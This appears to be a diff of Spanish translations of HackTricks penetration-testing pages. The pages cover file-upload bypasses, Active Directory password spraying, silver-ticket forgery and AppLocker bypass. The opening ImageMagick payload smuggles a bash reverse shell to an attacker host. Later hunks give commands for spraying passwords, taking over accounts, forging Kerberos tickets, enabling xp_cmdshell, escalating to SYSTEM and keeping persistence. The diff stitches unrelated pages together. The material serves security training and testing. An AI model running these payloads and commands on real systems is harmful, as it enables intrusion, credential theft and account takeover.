Sube este contenido con una extensión de imagen para explotar la vulnerabilidad **(ImageMagick , 7.0.1-1)** (form the [exploit](https://www.exploit-db.com/exploits/39767))
|
||||
Sube este contenido con una extensión de imagen para explotar la vulnerabilidad **(ImageMagick , 7.0.1-1)** (desde el [exploit](https://www.exploit-db.com/exploits/39767))
|
||||
```
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
|
||||
pop graphic-context
|
||||
```
|
||||
## Embedding PHP Shell on PNG
|
||||
## Incrustar shell PHP en PNG
|
||||
|
||||
Embedding a PHP shell in the IDAT chunk of a PNG file can effectively bypass certain image processing operations. The functions `imagecopyresized` and `imagecopyresampled` from PHP-GD are particularly relevant in this context, as they are commonly used for resizing and resampling images, respectively. The ability of the embedded PHP shell to remain unaffected by these operations is a significant advantage for certain use cases.
|
||||
Incrustar una shell PHP en el chunk IDAT de un archivo PNG puede eludir eficazmente ciertas operaciones de procesamiento de imágenes. Las funciones `imagecopyresized` y `imagecopyresampled` de PHP-GD son particularmente relevantes en este contexto, ya que se usan comúnmente para el redimensionado y el remuestreo de imágenes, respectivamente. La capacidad de la shell PHP incrustada para permanecer intacta frente a estas operaciones es una ventaja significativa en determinados casos de uso.
|
||||
|
||||
A detailed exploration of this technique, including its methodology and potential applications, is provided in the following article: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). This resource offers a comprehensive understanding of the process and its implications.
|
||||
Una exploración detallada de esta técnica, incluyendo su metodología y posibles aplicaciones, se proporciona en el siguiente artículo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Este recurso ofrece una comprensión completa del proceso y sus implicaciones.
|
||||
|
||||
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
## Polyglot Files
|
||||
## Archivos poliglotas
|
||||
|
||||
Polyglot files serve as a unique tool in cybersecurity, acting as chameleons that can validly exist in multiple file formats simultaneously. An intriguing example is a [GIFAR](https://en.wikipedia.org/wiki/Gifar), a hybrid that functions both as a GIF and a RAR archive. Such files aren't limited to this pairing; combinations like GIF and JS or PPT and JS are also feasible.
|
||||
Los archivos poliglotas sirven como una herramienta singular en ciberseguridad, actuando como camaleones que pueden existir válidamente en múltiples formatos de archivo simultáneamente. Un ejemplo intrigante es un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un híbrido que funciona tanto como GIF como archivo RAR. Estos archivos no se limitan a este emparejamiento; combinaciones como GIF y JS o PPT y JS también son factibles.
|
||||
|
||||
The core utility of polyglot files lies in their capacity to circumvent security measures that screen files based on type. Common practice in various applications entails permitting only certain file types for upload—like JPEG, GIF, or DOC—to mitigate the risk posed by potentially harmful formats (e.g., JS, PHP, or Phar files). However, a polyglot, by conforming to the structural criteria of multiple file types, can stealthily bypass these restrictions.
|
||||
La utilidad principal de los archivos poliglotas radica en su capacidad para eludir medidas de seguridad que inspeccionan archivos basándose en el tipo. La práctica común en varias aplicaciones consiste en permitir solo ciertos tipos de archivo para upload —como JPEG, GIF o DOC— para mitigar el riesgo que suponen formatos potencialmente peligrosos (p. ej., JS, PHP o Phar). Sin embargo, un poliglota, al ajustarse a los criterios estructurales de múltiples tipos de archivo, puede eludir sigilosamente estas restricciones.
|
||||
|
||||
Despite their adaptability, polyglots do encounter limitations. For instance, while a polyglot might simultaneously embody a PHAR file (PHp ARchive) and a JPEG, the success of its upload might hinge on the platform's file extension policies. If the system is stringent about allowable extensions, the mere structural duality of a polyglot may not suffice to guarantee its upload.
|
||||
A pesar de su adaptabilidad, los poliglotas encuentran limitaciones. Por ejemplo, aunque un poliglota pueda encarnar simultáneamente un archivo PHAR (PHp ARchive) y un JPEG, el éxito de su upload puede depender de las políticas de extensión de archivo de la plataforma. Si el sistema es estricto respecto a las extensiones permitidas, la mera dualidad estructural de un poliglota puede no ser suficiente para garantizar su upload.
|
||||
|
||||
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
### Subir JSONs válidos como si fueran PDF
|
||||
### Subir JSON válidos como si fueran PDF
|
||||
|
||||
How to avoid file type detections by uploading a valid JSON file even if not allowed by faking a PDF file (techniques from **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
Cómo evitar las detecciones de tipo de archivo subiendo un archivo JSON válido incluso si no está permitido, fingiendo que es un archivo PDF (técnicas de **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
|
||||
- **`mmmagic` librería**: Siempre que los bytes mágicos `%PDF` estén en los primeros 1024 bytes es válido (ver ejemplo en el post)
|
||||
- **`pdflib` librería**: Añade un formato PDF falso dentro de un campo del JSON para que la librería piense que es un PDF (ver ejemplo en el post)
|
||||
- **`file` binario**: Puede leer hasta 1048576 bytes de un archivo. Simplemente crea un JSON más grande que eso para que no pueda parsear el contenido como JSON y luego, dentro del JSON, pon la parte inicial de un PDF real y pensará que es un PDF
|
||||
- **`mmmagic` library**: Mientras los bytes mágicos `%PDF` estén dentro de los primeros 1024 bytes, es válido (ver ejemplo en el post)
|
||||
- **`pdflib` library**: Añade un formato PDF falso dentro de un campo del JSON para que la librería piense que es un PDF (ver ejemplo en el post)
|
||||
- **`file` binary**: Puede leer hasta 1048576 bytes de un archivo. Simplemente crea un JSON más grande que eso para que no pueda parsear el contenido como un json y luego, dentro del JSON, coloca la parte inicial de un PDF real y pensará que es un PDF
|
||||
|
||||
## References
|
||||
## Referencias
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
|
||||
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
|
||||
|
||||
@ -2,6 +2,6 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Consulta el increíble post en:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
|
||||
**Consulta el excelente artículo en:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -5,16 +5,16 @@
|
||||
|
||||
## **Password Spraying**
|
||||
|
||||
Una vez que hayas encontrado varios **nombres de usuario válidos** puedes probar las **contraseñas más comunes** (ten en cuenta la **política de contraseñas** del entorno) con cada uno de los usuarios descubiertos.\
|
||||
Por **defecto** la **longitud** **mínima** **de** **contraseña** es **7**.
|
||||
Una vez que hayas encontrado varios **nombres de usuario válidos** puedes probar las **contraseñas más comunes** (ten en cuenta la política de contraseñas del entorno) con cada uno de los usuarios descubiertos.\
|
||||
Por **defecto** la **mínima** **longitud** **de** **contraseña** es **7**.
|
||||
|
||||
Listas de nombres de usuario comunes también pueden ser útiles: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
|
||||
Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
|
||||
|
||||
Ten en cuenta que **podrías bloquear algunas cuentas si intentas varias contraseñas incorrectas** (por defecto más de 10).
|
||||
|
||||
### Obtener la política de contraseñas
|
||||
|
||||
Si tienes credenciales de usuario o un shell como usuario de dominio puedes **obtener la política de contraseñas con**:
|
||||
Si tienes credenciales de usuario o un shell como usuario del dominio puedes **obtener la política de contraseñas con**:
|
||||
```bash
|
||||
# From Linux
|
||||
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
|
||||
@ -31,7 +31,7 @@ net accounts
|
||||
|
||||
(Get-DomainPolicy)."SystemAccess" #From powerview
|
||||
```
|
||||
### Explotación desde Linux (o todos)
|
||||
### Explotación desde Linux (o desde cualquier sistema)
|
||||
|
||||
- Usando **crackmapexec:**
|
||||
```bash
|
||||
@ -51,7 +51,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
|
||||
```bash
|
||||
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
|
||||
```
|
||||
- Usando [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NO RECOMENDADO A VECES NO FUNCIONA
|
||||
- Usando [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NO RECOMENDADO; A VECES NO FUNCIONA
|
||||
```bash
|
||||
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
|
||||
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
|
||||
@ -69,7 +69,7 @@ done
|
||||
```
|
||||
#### Desde Windows
|
||||
|
||||
- Con la versión de [Rubeus](https://github.com/Zer1t0/Rubeus) con brute module:
|
||||
- Con [Rubeus](https://github.com/Zer1t0/Rubeus) versión con el módulo brute:
|
||||
```bash
|
||||
# with a list of users
|
||||
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
|
||||
@ -77,7 +77,7 @@ done
|
||||
# check passwords for all users in current domain
|
||||
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
|
||||
```
|
||||
- Con [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Puede generar usuarios del dominio por defecto y obtendrá la política de contraseñas del dominio y limitará los intentos según ésta):
|
||||
- Con [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (puede generar usuarios del dominio de forma predeterminada, obtendrá la política de contraseñas del dominio y limitará los intentos de acuerdo con ella):
|
||||
```bash
|
||||
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
|
||||
```
|
||||
@ -85,11 +85,11 @@ Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
|
||||
```
|
||||
Invoke-SprayEmptyPassword
|
||||
```
|
||||
### Identificar y tomar control de cuentas "Password must change at next logon" (SAMR)
|
||||
### Identificar y apoderarse de las cuentas "Password must change at next logon" (SAMR)
|
||||
|
||||
Una técnica de bajo ruido consiste en spray a benign/empty password y capturar cuentas que devuelven STATUS_PASSWORD_MUST_CHANGE; esto indica que la contraseña fue forzosamente expirada y puede cambiarse sin conocer la anterior.
|
||||
Una técnica de bajo ruido es hacer password spraying con una contraseña benigna/vacía y detectar cuentas que devuelven STATUS_PASSWORD_MUST_CHANGE, lo que indica que la contraseña fue forzosamente expirada y puede cambiarse sin conocer la anterior.
|
||||
|
||||
Workflow:
|
||||
Flujo de trabajo:
|
||||
- Enumerar usuarios (RID brute via SAMR) para construir la lista de objetivos:
|
||||
|
||||
{{#ref}}
|
||||
@ -99,12 +99,12 @@ Workflow:
|
||||
# NetExec (null/guest) + RID brute to harvest users
|
||||
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
|
||||
```
|
||||
- Spray una password vacía y continúa con los aciertos para capturar cuentas que deben cambiarla en el próximo inicio de sesión:
|
||||
- Spray una contraseña vacía y sigue con los hits para capturar cuentas que deben cambiarla en el próximo logon:
|
||||
```bash
|
||||
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
|
||||
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
|
||||
```
|
||||
- Para cada acierto, cambia la contraseña vía SAMR con el módulo de NetExec (no se necesita la contraseña antigua cuando "must change" está activado):
|
||||
- Para cada hit, cambia la password a través de SAMR con NetExec’s module (no se necesita old password cuando "must change" está establecido):
|
||||
```bash
|
||||
# Strong complexity to satisfy policy
|
||||
env NEWPASS='P@ssw0rd!2025#' ; \
|
||||
@ -115,25 +115,25 @@ netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
|
||||
```
|
||||
Notas operativas:
|
||||
- Asegúrate de que el reloj de tu host esté sincronizado con el DC antes de operaciones basadas en Kerberos: `sudo ntpdate <dc_fqdn>`.
|
||||
- Un [+] sin (Pwn3d!) en algunos módulos (p. ej., RDP/WinRM) significa que los creds son válidos pero la cuenta carece de derechos de inicio de sesión interactivo.
|
||||
- Un [+] sin (Pwn3d!) en algunos módulos (p. ej., RDP/WinRM) significa que las creds son válidas pero la cuenta carece de derechos de inicio de sesión interactivo.
|
||||
|
||||
## Brute Force
|
||||
```bash
|
||||
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
|
||||
```
|
||||
### Kerberos pre-auth spraying con LDAP targeting y PSO-aware throttling (SpearSpray)
|
||||
### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
|
||||
|
||||
Kerberos pre-auth–based spraying reduce el ruido frente a los intentos de bind SMB/NTLM/LDAP y se alinea mejor con las políticas de lockout de AD. SpearSpray acopla LDAP-driven targeting, un motor de patrones y awareness de políticas (domain policy + PSOs + buffer de badPwdCount) para sprayear de forma precisa y segura. También puede etiquetar principals comprometidos en Neo4j para BloodHound pathing.
|
||||
Kerberos pre-auth–based spraying reduce el ruido frente a intentos SMB/NTLM/LDAP bind y se alinea mejor con las políticas de bloqueo de AD. SpearSpray combina targeting impulsado por LDAP, un motor de patrones y awareness de políticas (política de dominio + PSOs + buffer badPwdCount) para sprayar de forma precisa y segura. También puede etiquetar principals comprometidos en Neo4j para el pathing de BloodHound.
|
||||
|
||||
Key ideas:
|
||||
- LDAP user discovery con paginación y soporte LDAPS, opcionalmente usando filtros LDAP personalizados.
|
||||
- Domain lockout policy + PSO-aware filtering para dejar un buffer configurable de intentos (threshold) y evitar bloquear usuarios.
|
||||
- Kerberos pre-auth validation utilizando bindings gssapi rápidos (genera 4768/4771 en DCs en lugar de 4625).
|
||||
- Generación de contraseñas por usuario basada en patrones, usando variables como nombres y valores temporales derivados del pwdLastSet de cada usuario.
|
||||
- Control de throughput con threads, jitter y max requests per second.
|
||||
- Integración opcional con Neo4j para marcar usuarios comprometidos para BloodHound.
|
||||
Ideas clave:
|
||||
- Descubrimiento de usuarios LDAP con paginación y soporte LDAPS, opcionalmente usando filtros LDAP personalizados.
|
||||
- Política de bloqueo de dominio + filtrado consciente de PSO para dejar un buffer configurable de intentos (umbral) y evitar bloquear usuarios.
|
||||
- Validación Kerberos pre-auth usando bindings gssapi rápidos (genera 4768/4771 en DCs en vez de 4625).
|
||||
- Generación de contraseñas por usuario basada en patrones usando variables como nombres y valores temporales derivados del pwdLastSet de cada usuario.
|
||||
- Control de throughput con threads, jitter y max requests por segundo.
|
||||
- Integración opcional con Neo4j para marcar usuarios propios para BloodHound.
|
||||
|
||||
Basic usage and discovery:
|
||||
Uso básico y descubrimiento:
|
||||
```bash
|
||||
# List available pattern variables
|
||||
spearspray -l
|
||||
@ -174,14 +174,14 @@ Descripción general del sistema de patrones (patterns.txt):
|
||||
{samaccountname}
|
||||
{extra}{separator}{year}{suffix}
|
||||
```
|
||||
Variables disponibles:
|
||||
Variables disponibles incluyen:
|
||||
- {name}, {samaccountname}
|
||||
- Temporales de pwdLastSet (o whenCreated) de cada usuario: {year}, {short_year}, {month_number}, {month_en}, {season_en}
|
||||
- Auxiliares de composición y token de la org: {separator}, {suffix}, {extra}
|
||||
- Valores temporales de pwdLastSet (o whenCreated) de cada usuario: {year}, {short_year}, {month_number}, {month_en}, {season_en}
|
||||
- Ayudantes de composición y token de la organización: {separator}, {suffix}, {extra}
|
||||
|
||||
Notas operativas:
|
||||
- Favorece consultar el PDC-emulator con -dc para leer el badPwdCount más autoritativo y la información relacionada con políticas.
|
||||
- Los resets de badPwdCount se disparan en el siguiente intento después de la ventana de observación; usa el umbral y la sincronización para mantenerte seguro.
|
||||
- Prefiere consultar el PDC-emulator con -dc para leer el badPwdCount más autoritativo y la info relacionada con la política.
|
||||
- Los reinicios de badPwdCount se activan en el siguiente intento después de la ventana de observación; usa umbrales y temporización para mantenerte seguro.
|
||||
- Los intentos de pre-auth de Kerberos aparecen como 4768/4771 en la telemetría del DC; usa jitter y rate-limiting para mimetizarte.
|
||||
|
||||
> Consejo: SpearSpray’s default LDAP page size is 200; ajusta con -lps según sea necesario.
|
||||
@ -191,12 +191,12 @@ Notas operativas:
|
||||
Hay múltiples herramientas para p**assword spraying outlook**.
|
||||
|
||||
- Con [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
|
||||
- con [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
|
||||
- Con [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
|
||||
- Con [Ruler](https://github.com/sensepost/ruler) (¡confiable!)
|
||||
- Con [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
|
||||
- Con [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
|
||||
|
||||
Para usar cualquiera de estas herramientas necesitas una lista de usuarios y una password / una pequeña lista de passwords para spray.
|
||||
Para usar cualquiera de estas herramientas, necesitas una lista de usuarios y una contraseña / una pequeña lista de contraseñas para password spraying.
|
||||
```bash
|
||||
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
|
||||
[x] Failed: larsson:Summer2020
|
||||
|
||||
@ -6,15 +6,15 @@
|
||||
|
||||
## Silver ticket
|
||||
|
||||
El ataque **Silver Ticket** implica la explotación de tickets de servicio en entornos de Active Directory (AD). Este método se basa en **adquirir el NTLM hash de una cuenta de servicio**, como una cuenta de equipo, para forjar un Ticket Granting Service (TGS) ticket. Con este ticket forjado, un atacante puede acceder a servicios específicos en la red, **hacerse pasar por cualquier usuario**, normalmente buscando privilegios administrativos. Se enfatiza que usar AES keys para forjar tickets es más seguro y menos detectable.
|
||||
El **Silver Ticket** attack implica la explotación de service tickets en entornos de Active Directory (AD). Este método se basa en **adquirir el NTLM hash de una cuenta de servicio**, como una cuenta de equipo, para forjar un Ticket Granting Service (TGS) ticket. Con este ticket forjado, un atacante puede acceder a servicios específicos en la red, **suplantando a cualquier usuario**, normalmente con el objetivo de obtener privilegios administrativos. Se enfatiza que usar AES keys para forjar tickets es más seguro y menos detectable.
|
||||
|
||||
> [!WARNING]
|
||||
> Los Silver Tickets son menos detectables que los Golden Tickets porque solo requieren el **hash de la cuenta de servicio**, no la cuenta krbtgt. Sin embargo, están limitados al servicio específico al que apuntan. Además, basta con robar la contraseña de un usuario.
|
||||
> Además, si comprometes la **contraseña de una cuenta con un SPN** puedes usar esa contraseña para crear un Silver Ticket haciéndote pasar por cualquier usuario ante ese servicio.
|
||||
> Silver Tickets son menos detectables que Golden Tickets porque solo requieren el **hash de la cuenta de servicio**, no la cuenta krbtgt. Sin embargo, están limitados al servicio específico al que apuntan. Además, simplemente robar la contraseña de un usuario.
|
||||
> Además, si comprometes la **contraseña de una cuenta con un SPN** puedes usar esa contraseña para crear un Silver Ticket suplantando a cualquier usuario ante ese servicio.
|
||||
|
||||
Para la creación de tickets, se emplean diferentes herramientas según el sistema operativo:
|
||||
|
||||
### En Linux
|
||||
### On Linux
|
||||
```bash
|
||||
python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>
|
||||
export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
|
||||
@ -41,7 +41,7 @@ El servicio CIFS se destaca como un objetivo común para acceder al sistema de a
|
||||
|
||||
### Ejemplo: servicio MSSQL (MSSQLSvc) + Potato a SYSTEM
|
||||
|
||||
Si tienes el hash NTLM (o la clave AES) de una cuenta de servicio SQL (p. ej., sqlsvc) puedes forjar un TGS para el SPN MSSQL y suplantar a cualquier usuario ante el servicio SQL. Desde ahí, habilita xp_cmdshell para ejecutar comandos como la cuenta del servicio SQL. Si ese token tiene SeImpersonatePrivilege, encadena un Potato para elevarte a SYSTEM.
|
||||
Si tienes el hash NTLM (o la clave AES) de una cuenta de servicio SQL (p. ej., sqlsvc) puedes forjar un TGS para el SPN MSSQL y suplantar a cualquier usuario ante el servicio SQL. Desde allí, habilita xp_cmdshell para ejecutar comandos como la cuenta de servicio SQL. Si ese token tiene SeImpersonatePrivilege, encadena un Potato para elevar a SYSTEM.
|
||||
```bash
|
||||
# Forge a silver ticket for MSSQLSvc (RC4/NTLM example)
|
||||
python ticketer.py -nthash <SQLSVC_RC4> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
|
||||
@ -52,20 +52,20 @@ export KRB5CCNAME=$PWD/administrator.ccache
|
||||
impacket-mssqlclient -k -no-pass <DOMAIN>/administrator@<host.fqdn>:1433 \
|
||||
-q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'"
|
||||
```
|
||||
- Si el contexto resultante posee SeImpersonatePrivilege (a menudo cierto para cuentas de servicio), usa una variante de Potato para obtener SYSTEM:
|
||||
- Si el contexto resultante tiene SeImpersonatePrivilege (a menudo cierto para service accounts), usa una variante de Potato para obtener SYSTEM:
|
||||
```bash
|
||||
# On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato
|
||||
PrintSpoofer.exe -c "cmd /c whoami"
|
||||
# or
|
||||
GodPotato -cmd "cmd /c whoami"
|
||||
```
|
||||
Más detalles sobre abusar de MSSQL y habilitar xp_cmdshell:
|
||||
Más detalles sobre el abuso de MSSQL y la habilitación de xp_cmdshell:
|
||||
|
||||
{{#ref}}
|
||||
abusing-ad-mssql.md
|
||||
{{#endref}}
|
||||
|
||||
Resumen de técnicas Potato:
|
||||
Resumen de Potato techniques:
|
||||
|
||||
{{#ref}}
|
||||
../windows-local-privilege-escalation/roguepotato-and-printspoofer.md
|
||||
@ -73,22 +73,22 @@ Resumen de técnicas Potato:
|
||||
|
||||
## Servicios disponibles
|
||||
|
||||
| Tipo de Servicio | Service Silver Tickets |
|
||||
| Service Type | Service Silver Tickets |
|
||||
| ------------------------------------------ | -------------------------------------------------------------------------- |
|
||||
| WMI | <p>HOST</p><p>RPCSS</p> |
|
||||
| PowerShell Remoting | <p>HOST</p><p>HTTP</p><p>Depending on OS also:</p><p>WSMAN</p><p>RPCSS</p> |
|
||||
| WinRM | <p>HOST</p><p>HTTP</p><p>In some occasions you can just ask for: WINRM</p> |
|
||||
| PowerShell Remoting | <p>HOST</p><p>HTTP</p><p>Dependiendo del sistema operativo también:</p><p>WSMAN</p><p>RPCSS</p> |
|
||||
| WinRM | <p>HOST</p><p>HTTP</p><p>En algunas ocasiones puedes simplemente solicitar: WINRM</p> |
|
||||
| Scheduled Tasks | HOST |
|
||||
| Windows File Share, also psexec | CIFS |
|
||||
| LDAP operations, included DCSync | LDAP |
|
||||
| Windows Remote Server Administration Tools | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
|
||||
| Golden Tickets | krbtgt |
|
||||
|
||||
Usando **Rubeus** puedes **solicitar todos** estos tickets usando el parámetro:
|
||||
Usando **Rubeus** puedes **solicitar** todos estos tickets usando el parámetro:
|
||||
|
||||
- `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm`
|
||||
|
||||
### IDs de eventos de Silver tickets
|
||||
### Silver tickets Event IDs
|
||||
|
||||
- 4624: Inicio de sesión de cuenta
|
||||
- 4634: Cierre de sesión de cuenta
|
||||
@ -96,11 +96,11 @@ Usando **Rubeus** puedes **solicitar todos** estos tickets usando el parámetro:
|
||||
|
||||
## Persistencia
|
||||
|
||||
Para evitar que las máquinas roten su contraseña cada 30 días, establece `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` o puedes establecer `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` a un valor mayor que 30days para indicar el periodo de rotación cuando la contraseña de las máquinas debería ser rotada.
|
||||
Para evitar que las máquinas roten su contraseña cada 30 días establece `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` o puedes establecer `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` a un valor mayor que 30days para indicar el período de rotación cuando la contraseña de las máquinas debería rotarse.
|
||||
|
||||
## Abusar de Service tickets
|
||||
## Abusing Service tickets
|
||||
|
||||
En los siguientes ejemplos imaginemos que el ticket se obtuvo suplantando la cuenta del administrador.
|
||||
En los siguientes ejemplos imaginemos que el ticket se obtiene suplantando la cuenta de administrador.
|
||||
|
||||
### CIFS
|
||||
|
||||
@ -110,7 +110,8 @@ dir \\vulnerable.computer\C$
|
||||
dir \\vulnerable.computer\ADMIN$
|
||||
copy afile.txt \\vulnerable.computer\C$\Windows\Temp
|
||||
```
|
||||
También podrás obtener un shell dentro del host o ejecutar comandos arbitrarios usando **psexec**:
|
||||
También podrás obtener una shell dentro del host o ejecutar comandos arbitrarios usando **psexec**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../lateral-movement/psexec-and-winexec.md
|
||||
@ -155,7 +156,7 @@ Con acceso winrm a un equipo puedes **acceder a él** e incluso obtener un Power
|
||||
```bash
|
||||
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
|
||||
```
|
||||
Consulta la siguiente página para aprender **más formas de conectarte a un host remoto usando winrm**:
|
||||
Check the following page to learn **more ways to connect with a remote host using winrm**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -163,7 +164,7 @@ Consulta la siguiente página para aprender **más formas de conectarte a un hos
|
||||
{{#endref}}
|
||||
|
||||
> [!WARNING]
|
||||
> Ten en cuenta que **winrm must be active and listening** en el equipo remoto para acceder a él.
|
||||
> Ten en cuenta que **winrm debe estar activo y escuchando** en el equipo remoto para poder acceder a él.
|
||||
|
||||
### LDAP
|
||||
|
||||
|
||||
@ -1,17 +1,17 @@
|
||||
# Controles de seguridad de Windows
|
||||
# Controles de Seguridad de Windows
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Política de AppLocker
|
||||
|
||||
Una lista blanca de aplicaciones es una lista de aplicaciones de software o ejecutables aprobados que están permitidos para estar presentes y ejecutarse en un sistema. El objetivo es proteger el entorno contra malware dañino y software no aprobado que no se alinea con las necesidades comerciales específicas de una organización.
|
||||
Una lista blanca de aplicaciones es una lista de aplicaciones de software o ejecutables aprobados que están permitidos en un sistema y pueden ejecutarse. El objetivo es proteger el entorno contra malware dañino y software no aprobado que no se alinea con las necesidades específicas del negocio de una organización.
|
||||
|
||||
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) es la **solución de lista blanca de aplicaciones** de Microsoft y da a los administradores del sistema control sobre **qué aplicaciones y archivos pueden ejecutar los usuarios**. Proporciona **control granular** sobre ejecutables, scripts, archivos de instalación de Windows, DLLs, aplicaciones empaquetadas e instaladores empaquetados de aplicaciones.\
|
||||
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) es la **solución de lista blanca de aplicaciones** de Microsoft y da a los administradores del sistema control sobre **qué aplicaciones y archivos pueden ejecutar los usuarios**. Proporciona **control granular** sobre ejecutables, scripts, archivos de instalación de Windows, DLLs, aplicaciones empaquetadas y empaquetadores de instaladores de aplicaciones.\
|
||||
Es común que las organizaciones **bloqueen cmd.exe y PowerShell.exe** y el acceso de escritura a ciertos directorios, **pero todo esto puede ser eludido**.
|
||||
|
||||
### Comprobar
|
||||
|
||||
Compruebe qué archivos/extensiones están en la lista negra/lista blanca:
|
||||
Comprueba qué archivos/extensiones están en la lista negra/lista blanca:
|
||||
```bash
|
||||
Get-ApplockerPolicy -Effective -xml
|
||||
|
||||
@ -20,60 +20,60 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
|
||||
$a = Get-ApplockerPolicy -effective
|
||||
$a.rulecollections
|
||||
```
|
||||
Esta ruta del registro contiene las configuraciones y políticas aplicadas por AppLocker, proporcionando una forma de revisar el conjunto actual de reglas aplicadas en el sistema:
|
||||
Esta ruta del registro contiene las configuraciones y políticas aplicadas por AppLocker, proporcionando una forma de revisar el conjunto actual de reglas impuestas en el sistema:
|
||||
|
||||
- `HKLM\Software\Policies\Microsoft\Windows\SrpV2`
|
||||
|
||||
### Bypass
|
||||
|
||||
- Útiles **Writable folders** para bypass de la política de AppLocker: si AppLocker permite ejecutar cualquier cosa dentro de `C:\Windows\System32` o `C:\Windows`, hay **writable folders** que puedes usar para **bypass esto**.
|
||||
- Carpetas útiles **con permiso de escritura** para bypass AppLocker Policy: Si AppLocker permite ejecutar cualquier cosa dentro de `C:\Windows\System32` o `C:\Windows`, existen **carpetas con permiso de escritura** que puedes usar para **bypass**.
|
||||
```
|
||||
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
|
||||
C:\Windows\System32\spool\drivers\color
|
||||
C:\Windows\Tasks
|
||||
C:\windows\tracing
|
||||
```
|
||||
- Comúnmente, binarios [**"LOLBAS's"**](https://lolbas-project.github.io/) **confiables** pueden ser también útiles para eludir AppLocker.
|
||||
- **Reglas mal escritas también podrían ser eludidas**
